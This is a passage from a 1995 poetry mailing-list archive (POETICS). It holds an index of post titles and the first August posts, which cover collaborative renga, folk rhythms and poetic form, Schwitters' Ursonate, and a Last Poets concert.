670. Alan Sondheim — Re: favourite care word: "you"
671. H. T. KIRBY-SMITH — Language Poetry and Music
672. Gale Nelson — Michael Hareper's Titles
673. Ryan Knighton — Re: Language Poetry and Music
674. Jordan Davis. — favorite moities in moire
675. Jordan Davis. — mormon in the armoire
676. Jordan Davis. — Padgett's Definition
677. Jordan Davis. — Re: troubles with genius/floors of congress
678. Charles Alexander — How Hear Howe?
679. Charles Alexander — Re: favourite care word: "you"
680. Louis Cabri — same post, attempt #3
681. Robert Drake — Re: movies abt poetry
682. Rae Armantrout — Re: How Hear Howe?
683. Sheila E. Murphy — Re: favourite care word: "you"
684. Louis Cabri — favourite bar word: jug
685. Louis Cabri — Re: combines
686. Rod Smith — Re: How Hear Howe?
687. Rod Smith — Re: Language Poetry and Music
688. Maria Damon — Re: mormon in the armoire

689. Maria Damon — Re: favourite care word: "you"
690. Susan E. Dunn — pardon my formalism
691. Brian McHale — Re: Michael Hareper's Titles

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692. Sheila E. Murphy — Re: mormon in the armoire
693. Thomas Bell — Re: favourite care word: "you"
694. Louis Cabri — favourite critical word: poetry
695. George Bowering — Re: combines
696. George Bowering — Re: Language Poetry and Music
697. George Bowering — Re: Language Poetry and Music
698. George Bowering — Re: favourite care word: "you"
699. Ron Silliman — Re: Language Poetry and Music
700. Ron Silliman — Re: Howe Now, Brown Formalist (and Bob Perelman too)
701. Ron Silliman — Re: Poetry and Music
702. Charles Alexander — Re: favourite care word: "you"
703. Charles Alexander — Re: Howe Now, Brown Formalist (and Bob Perelman too)
704. Michael Boughn — Re: Howe Now, Brown Formalist (and Bob Perelman too)
705. maria damon — Re: Howe Now, Brown Formalist (and Bob Perelman too)
706. maria damon — Re: favourite care word: "you"
707. Herb Levy — Seattle readings Fall '95
708. Herb Levy — Value/genius in/with trouble/Poetry
709. Herb Levy — Kenner & CanLit
710. Herb Levy — Re: Language Poetry and Music
711. Mark Roberts — AWOL: Five Islands Press Launch
712. Herb Levy — Re: Language Poetry and Music
713. David Kellogg — Perelman's forthcoming and recent
714. Rachel Loden — code of silence
715. Alan Sondheim — Re: Language Poetry and Music
716. Chris Stroffolino — Re: Perelman's forthcoming and recent
717. Chris Stroffolino — Re: Language Poetry and Music
718. Alan Sondheim — Text
719. Jordan Davis. — Re: Howe Now, Brown Formalist (and Bob Perelman too)
720. Gale Nelson — Re: How Hear Howe?
721. Susan Schultz — (no subject)
722. Tim Waples — Notes of a renga lurker
723. Brian W Horihan — Re: Language Poetry and Music
724. H. T. KIRBY-SMITH — N_w F_____m
725. Alan Sondheim — Re: Language Poetry and Music
726. David Kellogg — Re: Perelman's forthcoming and recent
727. David Kellogg — Re: your mail
728. Michael Boughn — Re: Howe Now, Brown Formalist (and Bob Perelman too)
729. maria damon — (no subject)
730. Jordan Davis. — non music anon
731. Jordan Davis. — now words/cognitive dissonance
732. Aldon L. Nielsen — Re: nadir of the W
733. Aldon L. Nielsen — Re: the renga that took the place of itself
734. Joseph Zitt — Re: mormon in the armoire
735. Joseph Zitt — Re: Value/genius in/with trouble/Poetry
736. Keith Tuma — Re: your mail
737. Gwyn McVay — Re: How Hear Howe?
738. Charles Bernstein — ACLA Call for Papers on Lit. betw. Phil & Cultural Studies
739. Sheila E. Murphy — Re: favourite care word: "you"
740. Tony Green — Re: the renga that took the place of itself

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741. Steve Carll — Re: Wallace who?

742. Lindz Williamson — Re: the renga that took the place of itself
743. Tenney Nathanson — Re: POETICS Digest - 22 Aug 1995 to 23 Aug 1995
744. beard — Howe Now Brown ... / writer or written?
745. George Bowering — Re: your mail
746. George Bowering — Re: Language Poetry and Music
747. Chris Stroffolino — Re: Wallace who?
748. Ron Silliman — Re: Howe Now, Brown Formalist (and Bob Perelman too)
749. Ron Silliman — Re: Language Poetry and Music
750. Ron Silliman — Re: your mail
751. Ron Silliman — Re: your mail
752. Michael Boughn — Re: nadir of the W
753. Michael Boughn — Re: now words/cognitive dissonance
754. Jordan Davis. — tone of tone
755. Gale Nelson — Re: How Hear Howe?
756. maria damon — Re: How Hear Howe?
757. maria damon — Re: the renga that took the place of itself
758. maria damon — Re: Language Poetry and Music
759. maria damon — Re: Howe Now, Brown Formalist (and Bob Perelman too)
760. maria damon — Re: commercial e-mail accounts
761. Gwyn McVay — Re: How Hear Howe?
762. Susan Schultz — Criteria (fwd)
763. Lindz Williamson — THEN USE IT!
764. Gale Nelson — Re: Criteria (fwd)
765. Chris Stroffolino — Re: Criteria (fwd)
766. David Kellogg — Re: Criteria (LONG)
767. Mark Roberts — AWOL: Association for the Study of Australian Literature
768. Jordan Davis. — Re: Criteria (fwd)
769. Keith Tuma — Re: Criteria (fwd)
770. maria damon — Re: Criteria (fwd)
771. Ryan Knighton — Re: Criteriaria
772. George Bowering — Re: Language Poetry and Music
773. George Bowering — Re: the renga that took the place of itself
774. Ryan Knighton — Re: Language Poetry and Music
775. Ryan Knighton — Re: the renga that took the place of itself
776. David Kellogg — Re: Criteria (short)
777. Susan E. Dunn — (no subject)
778. David Kellogg — Re: Criteria (fwd)
779. Rod Smith — Re: Criteria (fwd)
780. Rod Smith — new & forthcoming
781. Susan Schultz — Re: Criteria (fwd)

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782. Ryan Knighton — Re: new & forthcoming
783. Lindz Williamson — who is this guy?
784. Tony Green — Re: Criteria (fwd)
785. Tony Green — Re: Mitchellmania, Harpermania
786. Louis Cabri — poetry/prose thinking
787. Alan Sondheim — Re: Language Poetry
788. beard — Re: Language Poetry and Music
789. Michael Boughn — Corn pone
790. beard — 27 - a reading
791. Michael Boughn — Renga free
792. Jonathan A Levin — Re: new & forthcoming
793. H. T. KIRBY-SMITH — music and poetry
794. Herb Levy — Size vs Use
795. Gwyn McVay — Re: Criteria (fwd)

796. Peter Zukowski — introduction
797. Keith Tuma — Re: Criteria (fwd)
798. Herb Levy — Hello Alfred Corn
799. Anmarie Trimble — Re: who is this guy?
800. maria damon — Re: who is this guy?
801. Daniel Bouchard/College/hmco — Re: who is this guy?
802. Lindz Williamson — Re: who is this guy?
803. Ryan Knighton — Re: Language Poetry
804. Alan Sondheim — Re: Language Poetry
805. Patrick Phillips — Re: Corn
806. maria damon — Re: Language Poetry
807. Susan Schultz — More Forwards (fwd)
808. Issa Clubb — Re: new & forthcoming
809. Lindz Williamson — Re: Hello Alfred Corn
810. maria damon — Re: who is this guy?
811. Theresa Krystyna Smalec — Re: the renga that took the place of itself
812. Jordan Davis. — in this self-regard
813. Steve Evans — Re: new & forthcoming
814. maria damon — Re: More Forwards (fwd)
815. Ryan Knighton — Re: Language Poetry
816. Ryan Knighton — Re: More Forwards (fwd)
817. Chris Scheil — Re: Language Poetry (& the morning Corn report)
818. Ryan Knighton — Re: who is this guy?
819. Steve Evans — Corn
820. Joseph Zitt — Re: who is this guy?
821. Joseph Zitt — Re: Renga free
822. Joseph Zitt — Re: Size vs Use
823. Susan Schultz — Re: Criteria (fwd)
824. Chris Stroffolino — Re: who is this guy?
825. Chris Stroffolino — Re: Criteria (fwd)
826. Chris Stroffolino — Re: new & forthcoming
827. Louis Cabri — ceci n'est pas un poeme

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828. Thomas Bell — Re: poetry/prose thinking
829. George Bowering — Re: More Forwards (fwd)
830. Marjorie Perloff — Re: Joris's Celan and Corn on L poetry - 24 Aug 1995 to 25 Aug 1995
831. Sheila E. Murphy — Re: poetry/prose thinking
832. George Bowering — Re: poetry/prose thinking
833. Anmarie Trimble — Re: who is this guy?
834. Rod Smith — Re: Joris's Celan and Corn on L poetry - 24 Aug 1995 to 25 Aug 1995
835. Sheila E. Murphy — Re: Criteria (fwd)
836. Rod Smith — Renga
837. Patrick Phillips — Re: Joris's Celan and Corn on L poetry - 24 Aug 1995 to 25 Aug 1995
838. Rachel Loden — poems & polemics
839. Ron Silliman — Fwd: (Fwd) Pound, Dylan, LZ, Whitman
840. Ron Silliman — Re: Anmarie Trimble
841. Ron Silliman — Re: Criteria (fwd)
842. Ron Silliman — Marjorie's Post
843. Ron Silliman — Revenge of the Renga
844. maria damon — Re: who is this guy?
845. maria damon — Re: poems & polemics
846. Charles Alexander — Re: poems & polemics
847. Charles Alexander — Re: who is this guy?
848. maria damon — Re: Fwd: (Fwd) Pound, Dylan, LZ, Whitman
849. H. T. KIRBY-SMITH — CAP-L List

850. maria damon — Re: Joris's Celan and Corn on L poetry - 24 Aug 1995 to 25 Aug
851. Linda Lane Reinfeld — Language Poetry: Writing As Rescue
852. Sheila E. Murphy — Re: Renga
853. Sheila E. Murphy — Re: Revenge of the Renga
854. Keith Tuma — Re: Joris's Celan and Corn on L poetry - 24 Aug 1995 to 25 Aug 1995
855. David Kellogg — Re: More Forwards (fwd)
856. Jorge Guitart — perloff v. corn
857. Jorge Guitart — Re: Renga
858. Ron Silliman — Cage/Cunningham
859. Anmarie Trimble — Big Mac Wac Pac
860. Sheila E. Murphy — Re: Renga
861. Eryque Gleason — trading cards and WAC
862. Louis Cabri — place genre heading here & behead
863. David Kellogg — Re: More Forwards (fwd)
864. Aldon L. Nielsen — Re: reply reply reply
865. Joseph Zitt — Re: Revenge of the Renga
866. Joseph Zitt — Re: poems & polemics
867. Eryque Gleason — Re: More Forwards (fwd)
868. Charles Alexander — Re: trading cards and WAC
869. Charles Alexander — Re: More Forwards (fwd)
870. Charles Alexander — Re: More Forwards (fwd)
871. Chris Stroffolino — Re: trading cards and WAC
872. maria damon — Re: Renga
873. Gabrielle Welford — Re: Renga
874. Jorge Guitart — Re: Revenge of the Renga II
875. Charles Alexander — Re: Renga
876. Chris Stroffolino — place genre heading here and behead
877. Chris Stroffolino — dylan
878. Gabrielle Welford — Re: Renga

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879. Jorge Guitart — Re: Renga
880. Jorge Guitart — Re: Revenge of the Renga
881. Robert Drake — Re: More Forwards (fwd)
882. Jorge Guitart — Re: Renga
883. Eryque Gleason — WASP
884. Susan Schultz — Corn talk
885. Thomas Bell — Re: Renga
886. Rod Smith — Macaronic
887. Gabrielle Welford — protesting executions in S.Arabia (fwd)
888. Steve Carll — Re: Marjorie's Post
889. George Bowering — Re: Renga
890. George Bowering — Re: Renga
891. Ron Silliman — Children of the Corn
892. Louis Cabri — goof me up! tweettweet!
893. maria damon — Re: Revenge of the Renga II
894. maria damon — Re: joriscelan
895. Kevin Killian — George Stanley
896. Sheila E. Murphy — Re: Renga
897. Patrick Phillips — Re: place genre heading here and behead
898. H. T. KIRBY-SMITH — rough as a corn cob
899. Aldon L. Nielsen — Re: Another Death in the Family
900. Wystan Curnow — Re: Joris's Celan and Corn on L poetry - 24 Aug 1995 to 25
901. Herb Levy — Re: Size vs Use
902. Rod Smith — Re: Marjorie's Post

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903. Jorge Guitart — Re: Renga
904. Jorge Guitart — Re: Revenge of the Renga II
905. Jorge Guitart — Re: bedside reading late late summer
906. Jorge Guitart — Re: Renga
907. Jorge Guitart — Re: Renga
908. Steve Carll — Re: Children of the Corn
909. Thomas Bell — Re: Renga
910. Louis Cabri — surfacing
911. George Bowering — Re: WASP
912. Sheila E. Murphy — Re: Renga
913. beard — Re: Hello Alfred Corn
914. Michael Boughn — Re: Corn talk
915. Gwyn McVay — Re: Children of the Corn
916. Jorge Guitart — Re: Renga
917. Jorge Guitart — Re: Renga
918. H. T. KIRBY-SMITH — Bill Moyers and "Shared values"
919. Gale Nelson — Re: music and poetry
920. Chris Scheil — corn detourned
921. maria damon — Re: Children of the Corn
922. Alan Golding — Lost Mail
923. Mark Wallace — Re: POETICS Digest - 26 Aug 1995 to 27 Aug 1995
924. Chris Stroffolino — Re: Children of the Corn
925. Jorge Guitart — poetry and music
926. Chris Stroffolino — Re: Children of the Corn
927. Kenneth Goldsmith — (no subject)
928. Aldon L. Nielsen — Re: Typoo
929. Aldon L. Nielsen — Re: Susan's experiment
930. Gwyn McVay — Re: Children of the Corn
931. Gwyn McVay — Re: poetry and music
932. David Kellogg — Re: place genre heading here and behead
933. Marjorie Perloff — Re: MisunderstandingsPOETICS Digest5
934. Lindz Williamson — Brat pack
935. Jorge Guitart — Re: poetry and music
936. Jonathan Brannen — Re: Children of the Corn
937. Louis Cabri — Riff Barkers Frig Intention's Loam
938. Louis Cabri — Chris Scheil
939. beard — Re: Children of the Corn
940. [redacted]
941. [redacted]
942. maria damon — it's unsub time
943. Michael Boughn — To reefer or not to
944. beard — LangPo & the refusal to refer
945. Jeffrey Timmons — Re: Corn talk
946. maria damon — must be kismet
947. Edward Foster — Re: furnished, remember?/no renga
948. [redacted]
949. Robert Drake — Re: Typoo
950. Pierre Joris — Re: new & forthcoming

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951. Steve Carll — Old Hats, New Heads?
952. Steve Carll — (no subject)
953. Chris Stroffolino — Re: poetry and music
954. Lindz Williamson — Help..
955. Aldon L. Nielsen — Re: Alan Golding's Lost Mail
956. Chris Stroffolino — Re: MisunderstandingsPOETICS Digest5

957. Aldon L. Nielsen — Re: ref ref
958. Susan Schultz — Re: MisunderstandingsPOETICS Digest5
959. Ryan Knighton — Re: To reefer or not to
960. George Bowering — Re: communication
961. Ron Silliman — Re: music and poetry
962. Ron Silliman — From the CAP-L list
963. Ron Silliman — CAP-L/refusing to refer
964. Ron Silliman — Repost, re post
965. Ron Silliman — Repost #2
966. Michael Boughn — Re: From the CAP-L list
967. Daniel Bouchard/College/hmco — Laughlin/Corbett
968. Rae Armantrout — Re: Repost #2
969. Herb Levy — an aside on grants 'n' stuff
970. Herb Levy — Re: place genre heading here and behead
971. Herb Levy — Re: Hello Alfred Corn (longish)
972. Fred E. Maus — Re: an aside on grants 'n' stuff
973. Chris Stroffolino — Re: pardon my formalism
974. Gale Nelson — Re: Laughlin/Corbett
975. Rae Armantrout — Re: Laughlin/Corbett
976. Jordan Davis. — Re: Renga
977. Jordan Davis. — Re: Renga
978. Alan Golding — Subjects
979. George Bowering — Re: Herb's anatomy
980. Kit Robinson — LangPo & the refusal to ref
981. George Bowering — Re: referring
982. George Bowering — Re: Hernando
983. Jordan Davis. — wac
984. Michael Boughn — Re: Herb's anatomy
985. Jorge Guitart — Re: Renga
986. Jordan Davis. — rerenga
987. Jorge Guitart — Re: Renga
988. Joseph Zitt — Re: Renga
989. Joseph Zitt — Re: "getting" jazz
990. Chris Stroffolino — Re: Laughlin/Corbett
991. Lee Chapman — Yasusada = Hoax?
992. Steve Carll — (no subject)
993. Jorge Guitart — Re: your mail
994. Steve Carll — Re: referring
995. Steve Carll — "getting" jazz

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996. Aldon L. Nielsen — Re: aldon to alan
997. Aldon L. Nielsen — Re: ". . ."
998. Kevin Killian — Millay
999. Aldon L. Nielsen — Re: progressive v regressive
1000. Steve Evans — Words Vanish First
1001. George Bowering — Re: "getting" jazz
1002. George Bowering — Re: Renga
1003. Ron Silliman — Re: Laughlin/Corbett
1004. Ron Silliman — Re: wac
1005. Gwyn McVay — Re: Subjects
1006. Gale Nelson — Re: Millay
1007. H. T. KIRBY-SMITH — Music and the Renga
1008. Daniel Bouchard/College/hmco — Re: Music and the Renga
1009. Mark Roberts — AWOL: September Happenings
1010. Lisa Robertson — Vancouver this fall

1011. H. T. KIRBY-SMITH — Re: Music and the Renga
1012. Lisa Robertson — corrected vancouver
1013. Carl Lynden Peters — Re: referring
1014. Jorge Guitart — Re: Renga-Z
1015. Jorge Guitart — Re: Renga
1016. Edward Foster — Re: desire / and the 39 steps
1017. Edward Foster — hey, ron, watch it!
1018. Edward Foster — Re: Repost #2
1019. Edward Foster — shocked and dismayed
1020. Jordan Davis. — Re: Millay
1021. Jordan Davis. — Re: Renga
1022. Sheila E. Murphy — Re: Renga-Z
1023. George Bowering — Re: Reeves
1024. Lindz Williamson — More Movie talk.
1025. Joseph Zitt — Re: Music and the Renga
1026. Jeffrey Timmons — Re: More Movie talk.
1027. Eryque Gleason — Re: Renga

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1028. Sheila E. Murphy — Re: Renga
1029. Sheila E. Murphy — Re: Renga
1030. Steve Carll — Re: your mail
1031. George Bowering — Re: Renga!
1032. George Bowering — Re: limerick
1033. Ron Silliman — Keanu, the living god
1034. R I Caddel — New books
1035. Jorge Guitart — Re: Renga
1036. Jorge Guitart — Re: Renga
1037. Jorge Guitart — Re: Renga!
1038. Willa Jarnagin — Re: New books
1039. Jordan Davis. — Re: Renga
1040. Jordan Davis. — Re: Renga!
1041. Peter Larkin — New Publication
1042. Lindz Williamson — Re: Keanu, the living god (fwd)
1043. Loss Glazier — "Related" Listservs
1044. Jorge Guitart — Re: Renga!
1045. Daniel Bouchard/College/hmco — Fate
1046. Patrick Phillips — Re: Fate
1047. Gale Nelson — Re: Fate
1048. Jeffrey Timmons — Re: Rejected posting to [redacted] (fwd)
1049. George Bowering — Re: Renga!
1050. Jordan Davis. — re pussy poets
1051. Jordan Davis. — Re: Renga!
1052. Jeffrey Timmons — Re: Help..

1. Thomas Bell

renga, re

Tue 1 Aug 1995

Aside from a desire to follow tradition, there is no reason not to invent a new (cyber?) form of renga here. I have done some work on what I call 0"bluestankas" (modern or post-such urban and gritty) and in some ways the spirit travels well.

Over the weekend I chanced (serendipitously?) across the best description of renga I've seen. It comes from a more popular and less formal source, but I think it captures the spirit or soul of renga:

"_Renga is essentially perpetual-motion verse capping. To the fourteen syllables that cap a _tanka one adds another verse of seventeen, in effect starting another _tanka. Only this new verse continues the thought of the fourteen-syllable verse and (more important) departs from the meaning of the original seventeen-syllable verse, shifting the seasonal identification, the speaker, the mood, or some other significant element. When you read _renga, you not only find meaning being added and deepened, you see it also being subtracted, slipping into oblivion, as the old links slough off and away. You become attentive and wary as every link shines and shifts under your eyes. Buddhist critics likened the composing of _renga to a correct understanding of the impermanence of the world." (from _All-Japan: the catalog of everything Japanese).

Bada Shanren

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2. Louis Cabri

rengala

Tue 1 Aug 1995

> *In the books were dreams and in the dreams were books.*
> *And flew through windows, lightning green and fine morning*
> *First inverted whistle of a cardinal in the poplar*
> *The book and the oboe on the grass under sun and cloud*
> *Go endlessly, an obtuse Prussian blue, it binds*

> *The caravan of windows to what they flee*
> *Rack of lambent jingoism, carving the exemplar's demise*
> *Hurricane Eden and evening is nigh []~`\)<-*

Inside, inside! This syndetic material is killing me.

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3. Louis Cabri

rengala

Tue 1 Aug 1995

> *In the books were dreams and in the dreams were books.*
> *And flew through windows, lightning green and fine morning*
> *First inverted whistle of a cardinal in the poplar*
> *The book and the oboe on the grass under sun and cloud*
> *Go endlessly, an obtuse Prussian blue, it binds*
> *The caravan of windows to what they flee*
> *Rack of lambent jingoism, carving the exemplar's demise*
> *Hurricane Eden and evening is nigh []~`\)<-*
> *Inside, inside! This syndetic material is killing me.*

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4. David Kellogg

Re: Free Verse Soot

Tue 1 Aug 1995

OK, I'm back after a half-week hiatus, and will continue to input on the question of belief. In a related story, Jonathan Brannen wonders why there is resistence on the part of some to calling poetry an art, and then muses about the respective roles of talent & technique. But the obvious answer doesn't seem to suggest itself, so I'll spell it out: some of us don't like to use the term "art" because for us more is lost than gained. In particular what is lost for me is the avoidance of mystification, evidenced aplenty by Brannen's well-meant appeal to the undefined (and by implication undefinable).

Cheers,
David
~~~
~~~

Durham, NC 27708
[redacted] --Thomas Kinsella

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5. Burt Kimmelman
Re: Renga, Renga, Renga
Tue 1 Aug 1995

Tom Taylor:

What?

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6. Herb Levy
folk rhythms & forms
Tue 1 Aug 1995

Cris Cheek writes:

> *The issue of rhythm is crucial. Rhythm in folk musics has been tightened by the twin processes of military organisation and industrialisation? The storyteller Ben Gaggarty was here over the weekend and along with traditional singer Chris Foster and poets Jean 'binta' Breeze and Merle Collins we got into a protracted discussion of rhythm and oral traditions. The question remains as to whether rhythm organically follows or imposes on pulse? Rhythm in many 'folk' musics has become 'stricter' throughout the twentieth century. Go way back into earlier millenia and the speculation favours a looser feel. A beguiling subtlety of pulse.*

While it's true that older folk forms have become increasingly calcified, I think this is more part of an ongoing historic process than a result of "the 20th Century." Once people are writing in a form that they learn by rote rather than through an active community practice, you've got problems. Hence, blues, or Child ballads, or New Orleans-style jazz, are, for the most part, now rule-based artforms, rather than a tradition in which people actively develop a style. & the rhythms used often seem as if the performer learned them by rote, rather than felt them.

This is not true of some newer folk forms (by which I mean forms that have an active life within some part of the culture), like some of rap or rock, or even a little of what remains of jazz. Where there are real people for whom the music is part of daily life, it is possible to have some of that rhythmic looseness, even in the context of "military organisation and industrialisation." It's difficult for a music to be central to some subculture (it seems impossible for any one music to be truly central to the whole culture any more) and still escape becoming commercialized and losing it's "folky looseness.

Capital must expand, and one of the ways it does this is to absorb other cultural forms. So we end up with the travesty of a "folk" music that now means a singer performing her own songs with few (if any) other accompanists, rather than performing a song that no one knows the author of or the debacle of a "world" music that has all too often come to mean "electric guitars from many lands." But that's probably a discussion for a different group.

Getting away, then, from the issue of rhythm, to the more general issue of traditional forms, (& back to poetics), much the same argument could (obviously) be made for much New Formalist poetry. It's simply a different thing for someone to write a canzone, a sestina, or a sonnet sequence several hundred years after it was a functional poetic form within the culture. It's no longer part of a living culture, it's a marketing strategy.

There are different, but related problems when you are dealing with a "tradition" that values formal innovation (also as marketing strategy) regardless of content over continuing (or revived) formal structures used to convey personal content.

Think how different "our" literary culture would be if many writers took on the formal rhythms of Lyn Hejinian's "My Life," the five-line stanzas of Barrett Watten's "Progress," or other structures & forms from language works of the 1980s, just as many people write sonnet sequences or workshop poems.

Could these idiosyncratic forms become idioms in any functional way? What would it take for this to happen? Would it be a good thing?

Herb Levy

[redacted]

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7. Herb Levy
Innovations & Traditions
Tue 1 Aug 1995

Last week (as I posted earlier to <wr-eye-tings>, but not to <poetics>), I heard a great performance by Dutch sound-poet Jaap Blonk. He did a lot of his own pieces, several improvisations and a few works by others, including two movements of Kurt Schwitters' Ur Sonata. Since then I've spent some time listening to 4 recordings of the Ur Sonata: by Schwitters, Blonk, Eberhard Blum & Christopher Butterfield.

As with any performance, there are differences between the interpretations, but the Ur Sonata is pretty much a sonata in the classical sense. The use of contrasting themes, how they develope and contrast, the dynamics and tempi of

the movements, etc. follow the structure of any classical sonata, it's just performed using odd phonetic sounds instead of a western classical instrument.

Given that the Ur Sonata so closely follows one of the strictest forms of western classical music, what, if anything, makes it an avant garde work?

(Sorry for any duplication caused by this cross posting. A substantial number of the people on <wr-eye-tings> aren't on <poetics>, and it seemed that people on both lists might have something interesting to add to this topic. If you think this will be unwieldy - some people (not very many & I think you know who you are) will get messages twice - simply delete one (or more) lists from the <to:> line in the address above if you respond.)

Herb Levy
[redacted]

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8. Tom Taylor
Re: rengaro [Cth
Tue 1 Aug 1995

Nothing but net

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9. Joseph Zitt
Re: folk rhythms & forms
Tue 1 Aug 1995

On 1 Aug 95 at 8:59, Herb Levy wrote:

> *Think how different "our" literary culture would be if many writers took on the formal rhythms of Lyn Hejinian's "My Life," the five-line stanzas of Barrett Watten's "Progress," or other structures & forms from language works of the 1980s, just as many people write sonnet sequences or workshop poems.*

I've thought about this a lot (from my usual non-degreed, layman's position). One problem shows up in how you posed the issue: the new forms get viewed as the "turf" of one writer or another (in your examples, Hejinian or Watten), and to use them is viewed as copping another's style. I've kicked around the idea of using Cage's mesostic form, but the method is so strongly connected to his work that it would be hard to avoid looking like a slavish imitator in doing it. This isn't a problem in doing, for example, sonnets and sestinas, since the identity of the originators has (as far as i know) been lost.

Of course, there is the interesting stuff that happens when someone tries to use an existing form, gets it wrong, and creates something new. (I've been accused

of getting my musical ideas by a consistent pattern of misunderstandings; what the hell, it works.)

I get some flack from fellow poets (or, well, fellow people-who-write-things-that-they-read-at-open-mikes) for openly admitting that what I do is directly influenced by this or that other writer (Cage, Mac Low, Karl Shapiro, etc). Most of them seem to think that they are being totally original in writing their narrative vernacular three-minute-long free verse. *sigh* ---------1---------1---------1---------1---------1---------1---------- |||/ Joseph Zitt ==== [redacted] ===== Human Systems \||| ||/ Organizer, SILENCE: The John Cage Mailing List \|| |/ Online Representative, Austin International Poetry Festival \| / <A HREF="http://www.realtime.net/~jzitt/"> Joe Zitt's Home Page</A>\

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10. maria damon

Re: writings and last poets

Tue 1 Aug 1995

---

herb writes:
>
> (Sorry for any duplication caused by this cross posting. A substantial
> number of the people on <wr-eye-tings> aren't on <poetics>, and it seemed
> that people on both lists might have something interesting to add to this
> topic. If you think this will be unwieldy - some people (not very many & I
> think you know who you are) will get messages twice - simply delete one (or
> more) lists from the <to:> line in the address above if you respond.)
>
>
what is <wr-eye-tings> and how does one subscribe, if it's a list?--md

also, i went to see the last poets about a week ago at First Ave., the club made famous by Prince's movie Purple Rain in the 80s. the last poets were terrific, their stuff still holds up 25 yrs later, and their new stuff, tho more look within-ish than their Black Arts Movement era pieces, is powerful too. it was a mixed crowd, lots of young Black men who were very moved and serious, pleased to have their situation acknowledged in straight-ahead verse, breaking out in spntaneous applause during "stop the madness." they were, incredibly, a warm up act for a reggae group, so there was an incongruous line of white dreadhead guys and chicks in the front row, swaying sultrily throughout the last poets' first coupla numbers until they got the idea that this wasn't quite the idea. lots of older folks too, from my era (60s and 70s) of varying ethnic affiliations. a great show. i liked that the poets weren't glamorous, like most club acts. they were

just a trio of middle-aged hefty guys with great sonorous voices and good verse.--md

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11. Rod Smith
Re: Innovations & Traditions
Tue 1 Aug 1995

Cage discussed the Ur Sonata at least once that I remember-- he used it as an example of the danger of someone with no musical training undertaking composition. That there is a tendency for one to become enamored of "simple" musical tricks. He didn't find it interesting, whether it's avant garde or not. He mentioned this in relation to a lot of work being done with synthesizers & such-- that even though many "new" sounds cld be produced with them a great number of the people working with them were thinking in "old" ways.

There's another since in which the Schwitters piece cld be considered garde at least if not avant. A couple of muggers approached Schwitters in Berlin demanding money-- he began performing a portion of the URSONATE at the top of his lungs, this seriously freaked them, & they ran, w/out the money.

--Rod

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12. Jonathan Brannen
avoidance behavior syndrome
Tue 1 Aug 1995

So, David, you don't like the term "art" because avoidance of mystification is lost by its use? The difficulty in defining "art" is because art is fluid by nature (i.e. constantly changing). I'm sorry that this lack of certitude causes you discomfort. Any useful tips on how to deal with life's other uncertainies?

Best,
Jonathan

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13. Herb Levy
Re: writings and last poets
Tue 1 Aug 1995

> *what is <wr-eye-tings> and how does one subscribe, if it's a list?--md*

<wr-eye-tings> is a list that carl peters started with much discussion & input from cris cheek. Some of this discussion was on <poetics> a while back. It focuses on visual & sound poetry.

It's pretty quiet by <poetics> standards.

send the following command in email to "[redacted]":

subscribe wr-eye-tings

followed by your email address on the same line.

The Last Poets passed through town this winter, but I didn't like the relatively new record very much, so I didn't go. Sounds like I made a mistake. I hope they continue to tour.

Thanks for the report on their performance.

Herb Levy
[redacted]

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14. cris cheek
Re: folk rhythms & forms
Tue 1 Aug 1995

Herb's asking some useful questions.
>Think how different "our" literary culture would be if many writers took on
>the formal rhythms of Lyn Hejinian's "My Life," the five-line stanzas of
>Barrett Watten's "Progress," or other structures & forms from language
>works of the 1980s, just as many people write sonnet sequences or workshop
>poems.
>
>Could these idiosyncratic forms become idioms in any functional way? What
>would it take for this to happen? Would it be a good thing?

I've had conversations with Bruce Andrews during which he's asserted 'free improv' to be a 'folk' form - certainly some of its more baleful mannerisms nowadays (although there remain outstanding practitioners) are little different in their stilted 'mimesis' than the proverbial finger in the ear of the 'do you ken John Peel' 'folk' performer.

But at what point does tradition become perceptible as such? It's a very slippery and therefore imperative question. Many live in cultures and respond to communitites that tend (unwisely?) to foreground 'origination'. Many live in cultures and respond to communities that tend to value ways to take traditions into the future.

Does the compliment of imitation / conscious influence reveal the arrival of tradition? What values do different communitites place on this process? Or is the prevailing emphasis remaindered on the basis of discontinuous disposable 'new product' consumerism? Curious paradoxes here.

The current Renga fever is a case in point:

collaborative branching processes that discuss community and difference as they emerge, through considerable sometimes perhaps tolerant investments of creative 'belief', into 'public' space and shared time.

A collective exploration of formal potential. Conscious formation (intention) of community is present here - resonant with Spicer and also SF Poets Theatre and Poets Conference in the UK?

Has composition by chance become a 'folk' art? Is Mail Art a 'folk' art. Is Jazz 'folk'? Sparks across the seemingly 'parallel' tracks?

And lurking defintions of community and culture. As 'polis' entropes towards diaspora and decentralisation. As orgies of fragmentation become the norm.

whoa!
love and love
cris

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15. GWYN M. MCVAY

Re: folk rhythms & forms

Tue 1 Aug 1995

On Tue, 1 Aug 1995, Joseph Zitt wrote:

> *I've thought about this a lot (from my usual non-degreed, layman's position). One problem shows up in how you posed the issue: the new forms get viewed as the "turf" of one writer or another (in your examples, Hejinian or Watten), and to use them is viewed as copping another's style. I've kicked around the idea of using Cage's mesostic form, but the method is so strongly connected to his work that it would be hard to avoid looking like a slavish imitator in doing it.*

Hi, list. <She waves hello, takes a deep breath, and jumps in>

Joseph Zitt raises a good point. Are such allegations raised more often against people who work with, for lack of a better word, "experimental" poetries? When do Cage's mesostics or the Hejinian page from _My Life_ become formal "public domain" like the sestina?

Gwyn McVay

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16. Marisa A Januzzi
Gabriellesque
Wed 2 Aug 1995

Hi there--

I got paid (!!!!!), so anyone who wants the interview can just ask me for a copy of it backchannel-- as long as we remain in the single digits (#'s of requests) I can handle the postage.

BTW-- did anyone else see the New York Times article on Stockhausen's latest piece, written for the Arditti quartet quartered and vaulted aloft in four miked helicopters? Apparently the effects upon descent were wonderful.....

go aereal renga bye for now-- Marisa <[redacted]>

On Sat, 22 Jul 1995, Ron Silliman wrote:

> *Gabrielle,*
>
> *"If anyone wants the transcript (Loy/Vas Dias), just send me postage..."*
>
> *So where do we send this postage? Do get back up on email. It's very confusing to see you channeled hither and yon.*
>
> *All best,*
> *Ron*
> [redacted]

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17. Steve Carll
Re: rengala
Wed 2 Aug 1995

>> > >In the books were dreams and in the dreams were books.
>> > >And flew through windows, lightning green and fine morning
>> > >First inverted whistle of a cardinal in the poplar
>> > >The book and the oboe on the grass under sun and cloud
>> > >Go endlessly, an obtuse Prussian blue, it binds
>> > >The caravan of windows to what they flee
>> > >Rack of lambent jingoism, carving the exemplar's demise
>> > Hurricane Eden and evening is nigh []~`\)<-

>> Inside, inside! This syndetic material is killing me.
A blase malediction presses outstretched

↑ Index

18. Rod Smith
